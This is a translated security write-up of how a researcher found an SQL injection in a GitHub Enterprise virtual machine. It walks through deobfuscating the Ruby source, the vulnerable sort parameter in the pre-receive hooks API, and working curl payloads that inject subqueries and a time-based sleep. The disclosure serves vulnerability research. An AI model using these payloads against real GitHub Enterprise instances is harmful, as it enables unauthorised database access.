📜 ⬆️ ⬇️

SQL injection in GitHub Enterprise



Hi Habr,

Below is the story by the author of Orange Tsai about how he purposefully searched for a vulnerability in the corporate version of GitHub and eventually discovered the possibility of SQL injection. Here, on Habré, previously translated another of his article " How I hacked Facebook and found someone else's backdoor ."

Before the start


GitHub Enterprise is a corporate version of GitHub.com, designed to deploy the GitHub platform in a private network for development. Going to enterprise.github.com you can download a virtual machine (VM) with a free trial period of 45 days.
')
After installation we will see:





Now, in my VM there is a complete GitHub ecosystem. It's so interesting that I wanted to take a closer look at the VM: P.

Environment


The beginning of everything and everything is port scanning. After calling the useful Nmap utility, you can see that 6 ports are open in the VM.

$ nmap -sT -vv -p 1-65535 192.168.187.145 ... PORT     STATE  SERVICE 22/tcp   open   ssh 25/tcp   closed smtp 80/tcp   open   http 122/tcp  open   smakynet 443/tcp  open   https 8080/tcp closed http-proxy 8443/tcp open   https-alt 9418/tcp open   git 

After some analysis of the services, we can say that:


By the way, the GitHub management console requires a password to log in. If you have a password, you can add your SSH key and connect to the VM via 122 / tcp .

Using an SSH connection to a VM, we took a look at the entire system and the code base seems to be in the / data / directory.

 # ls -al /data/ total 92 drwxr-xr-x 23 root              root              4096 Nov 29 12:54 . drwxr-xr-x 27 root              root              4096 Dec 28 19:18 .. drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user 

Let's go to / data / and try to look at the sources. It seems they are coded :(



GitHub uses its own library for source code obfuscation. If you search “ruby_concealer.so” in Google, you will find a kind person who wrote a snippet for deobfuscation.

The snippet is obtained by simply replacing rb_f_eval with rb_f_puts in ruby_concealer.so and it works.

But you can not be called a hacker, not understanding exactly how it works. Therefore, we will open IDA Pro!





As you can see, Zlib :: Inflate :: inflate is used here for unpacking and XOR operations with the following key:

 This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. []        GitHub Enterprise    VM.  ,   ""  . 

So you can easily write your deobfuscator!

 require 'zlib' key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. " def decrypt(s)   i, plaintext = 0, ''   Zlib::Inflate.inflate(s).each_byte do |c|       plaintext << (c ^ key[i%key.length].ord).chr       i += 1   end   plaintext end content = File.open(ARGV[0], "r").read content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt " plaintext = eval content puts plaintext 

Code analysis


After deobfuscation, you can finally begin to review the code.

 $ cloc /data/  81267 text files.  47503 unique files.  24550 files ignored. http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s) ----------------------------------------------------------------------------------- Language                         files          blank        comment           code ----------------------------------------------------------------------------------- Ruby                             25854         359545         437125        1838503 Javascript                        4351         109994         105296         881416 YAML                               600           1349           3214         289039 Python                            1108          44862          64025         180400 XML                                121           6492           3223         125556 C                                  444          30903          23966         123938 Bourne Shell                       852          14490          16417          87477 HTML                               636          24760           2001          82526 C++                                184           8370           8890          79139 C/C++ Header                       428          11679          22773          72226 Java                               198           6665          14303          45187 CSS                                458           4641           3092          44813 Bourne Again Shell                 142           6196           9006          35106 m4                                  21           3259            369          29433 ... 

 $ ./bin/rake about About your application's environment Ruby version              2.1.7 (x86_64-linux) RubyGems version          2.2.5 Rack version              1.6.4 Rails version             3.2.22.4 JavaScript Runtime        Node.js (V8) Active Record version     3.2.22.4 Action Pack version       3.2.22.4 Action Mailer version     3.2.22.4 Active Support version    3.2.22.4 Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root          /data/github/9fcdcc8 Environment               production Database adapter          githubmysql2 Database schema version   20161003225024 

Most of the code is written in Ruby (Ruby on Rails and Sinatra).


To find out if the application works in enterprise mode, or in GitHub.com, does GitHub Enterprise use enterprise , respectively ? and dotcom? .

Vulnerability


It took me about a week to find this vulnerability. I am not familiar with Ruby, so I taught on the go, trying to write on it: P

So, roughly speaking, my week has passed.


SQL injection was found in the PreReceiveHookTarget model.

The root cause of the vulnerability lies in line 45 of the file /data/github/current/app/model/pre_receive_hook_target.rb .

 33   scope :sorted_by, -> (order, direction = nil) { 34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC" 35     select(<<-SQL) 36       #{table_name}.*, 37       CASE hookable_type 38         WHEN 'global'     THEN 0 39         WHEN 'User'       THEN 1 40         WHEN 'Repository' THEN 2 41       END AS priority 42     SQL 43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id") 44       .readonly(false) 45       .order([order, direction].join(" ")) 46   } 

Although Rails has a built-in ORM (called ActiveRecord), which is supposed to protect against SQL injection, its naive use can pose a threat.

More examples are on Rails-sqli.org . I think it's useful to know about SQL injections in Rails.

In this case, if we manage to change the order method parameter, we’ll be able to implement a malicious SQL query.

All right, now let's follow the challenges! sorted_by is called in line 61 of the file /data/github/current/app/api/org_pre_receive_hooks.rb .

 10   get "/organizations/:organization_id/pre-receive-hooks" do 11     control_access :list_org_pre_receive_hooks, :org => org = find_org! 12     @documentation_url << "#list-pre-receive-hooks" 13     targets = PreReceiveHookTarget.visible_for_hookable(org) 14     targets = sort(targets).paginate(pagination) 15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets 16     deliver :pre_receive_org_target_hash, targets 17   end ... 60   def sort(scope) 61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc") 62   end 

Note that params [: sort] is passed to scope.sorted_by . So you can inject through params [: sort] .

Before exploiting the vulnerability, you will need a valid access_token token with the admin: pre_receive_hook parameter to access the API. Fortunately, it can be obtained using the command:

 $ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \ -d '{"scopes":"admin:pre_receive_hook","note":"x"}' { "id": 4, "url": "https://192.168.187.145/api/v3/authorizations/4", "app": {   "name": "x",   "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",   "client_id": "00000000000000000000" }, "token": "????????", "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4", "token_last_eight": "1fadac36", "note": "x", "note_url": null, "created_at": "2017-01-05T22:17:32Z", "updated_at": "2017-01-05T22:17:32Z", "scopes": [   "admin:pre_receive_hook" ], "fingerprint": null } 

After receiving the token, you can take advantage of the vulnerability as follows:

 $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)' [ ] $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)' { "message": "Server Error", "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks" } $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user()) {   ... } 



Chronology


Source: https://habr.com/ru/post/319786/


All Articles